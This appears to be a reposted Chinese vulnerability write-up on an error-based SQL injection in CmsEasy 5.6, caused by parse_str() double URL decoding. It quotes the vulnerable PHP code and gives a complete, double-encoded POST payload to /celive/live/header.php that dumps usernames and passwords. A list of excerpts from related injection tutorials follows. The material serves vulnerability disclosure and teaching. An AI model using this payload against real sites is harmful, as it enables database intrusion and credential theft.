cmseasy CmsEasy_5.6_20151009 无限制报错注入(parse_str()的坑)

来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137013.html

parse_str()引发的注入,

//parse_str()的作用是解析字符串并且把字符串注册成变量,第二个参数$arr是一个数组,parse_str()之前会先urldecode,也就是会二次url解码,实现单引号逃逸。

漏洞距离现在好像有点年代久远,有个限制就是对于php的版本要小于5.4,因为5.4以后默认关闭gpc,如果关闭gpc就会调用addslashes().

function Postdata($a) {
    global $db;
    $chatid = $_SESSION[‘chatid‘];
    $name = $_SESSION[‘name‘];
    $a[‘detail‘] = htmlspecialchars($a[‘detail‘]);
    if (!get_magic_quotes_gpc()) {
        $a[‘detail‘] = addslashes($a[‘detail‘]);
    }}

  

        if ($rootTag == "xjxquery") {
            $sQuery = "";
            $this->iPos++;
            while (!stristr($this->aObjArray[$this->iPos], "</xjxquery>")) {
                if (stristr($this->aObjArray[$this->iPos], "<q>") || stristr($this->aObjArray[$this->iPos], "</q>")) {
                    $this->iPos++;
                    continue;
                }
                $sQuery .= $this->aObjArray[$this->iPos];
                $this->iPos++;
            }
            parse_str($sQuery, $aArray);
            if ($this->bDecodeUTF8Input) {
                foreach ($aArray as $key => $value) {
                    $aArray[$key] = $this->_decodeUTF8Data($value);
                }
            }
            if (get_magic_quotes_gpc() == 1) {
                $newArray = array();
                foreach ($aArray as $sKey => $sValue) {
                    if (is_string($sValue))
                        $newArray[$sKey] = stripslashes($sValue);
                    else
                        $newArray[$sKey] = $sValue;
                }
                $aArray = $newArray;
            }
        }
        return $aArray;
    }

  

漏洞出现在parse_str($sQuery, $aArray);

所以能进行报错注入

url: /celive/live/header.php

post:

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>

时间: 2024-09-28 03:23:02

cmseasy CmsEasy_5.6_20151009 无限制报错注入(parse_str()的坑)的相关文章

使用insert、update和delete报错注入

使用insert注入 1.原理 一般我们写SQL注入的过滤器的话,重点关注的关键词就是select了,因为这个关键字可以从数据库中查询信息.所以一旦这个函数杯过滤,并且无法通过其他方法进行绕过的话,注入工作可能会变得比较困难. 如果在有用户注册的页面的话,后台SQL语句会有类似insert出现,例如 insert into user(id,name,pass) values (1,"tony","123456"); 这里是可以进行报错注入的.主要就是用到了两个Mys

SQL报错注入的十余种注入方式

报错注入原理: 由于rand和group+by的冲突,即rand()是不可以作为order by的条件字段,同理也不可以为group by的条件字段. floor(rand(0)*2) 获取不确定又重复的值造成mysql的错误 floor:向下取整,只保留整数部分,rand(0) -> 0~1 本地环境搭建数据库测试注入姿势: mysql> create database sqli; mysql> create table user ( id int(11) not null auto_

【菜鸟学注入】之MySQL报错注入详解

本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入 用SQL注入获取数据库数据,利用的方法可以大致分为联合查询.报错.布尔盲注以及延时注入,通常这些方法都是基于SELECT查询语句中的SQL注射 点来实现的.如果涉及非SELECT查询的注入,我们通常用到的就是mysql注入查询 创建一个test表 USE test; CREATE TABLE test(num int(5

mysql报错注入手工方法

以前觉得报错注入有那么一长串,还有各种concat(),rand()之类的函数,不方便记忆和使用,一直没怎么仔细的学习过.这次专门学习了一下,看了一些大牛的总结,得到一些经验,特此记录下来,以备后续巩固复习. 总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用. 公式具体如下 and(select 1 from(select count(*),concat((select (select (select co

又一种Mysql报错注入

from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的Mysql) mysql> SELECT 18446744073709551610 * 2; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)' mysql> SELECT

XerCMS-1.0.3代码审计(文件名报错注入后台getshell)

链接:https://share.weiyun.com/6b98e41d036967178e1a21fb88ed340f (密码:YnNY) 文件名报错注入 index.php?m=member&a=upfiles&id=2 在这个文件夹中XerCMS\Modules\member\index.php 前台注册个用户 在头像上传处抓包reperter一下用mysql监控工具 发现有insert数据库操作 分析一下 跟进upfiles函数 public function upfiles()

Mysql报错注入原理分析(count()、rand()、group by)

0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截图,然后执行sql语句证明一下结论,但是没有人去深入研究为什么rand不能和order by一起使用,也没彻底说明三者同时使用报错的原理. 0x01 位置问题? select count(*),(floor(rand(0)*2))x from information_schema.tables group by x; 这是网上最常见的语句,目前位置看到的网上sql注入教程,f

sql盲注之报错注入(附自动化脚本)

作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第一篇,介绍盲注中的报错注入. 0×01 报错注入原理 其实报错注入有很多种,本文主要介绍几种常见的报错方法,有新姿势后续再更新. 1. Duplicate entry报错: 一句话概括就是多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息. 关键是查询时会建立临时表存储数

加了料的报错注入(实验吧)

刚学到了一种新的注入方法,在此记录分享以便加深记忆. 是实验吧里的一道sql注入题,在本文中,用两种方法来解这道题: 1.HPF(HTTP Parameter Fragment) 2.exp()报错注入 先来说HPF(http分割注入),首先看这道题 题目地址 查看源码我们发现: 根据题目要求,应该是post注入,然而没有登陆框,我们先通过hackbar按照要求传入username和password参数试试. 提示login failed ,说明我们的思路是没错的,接下来就是在这两个参数中寻找输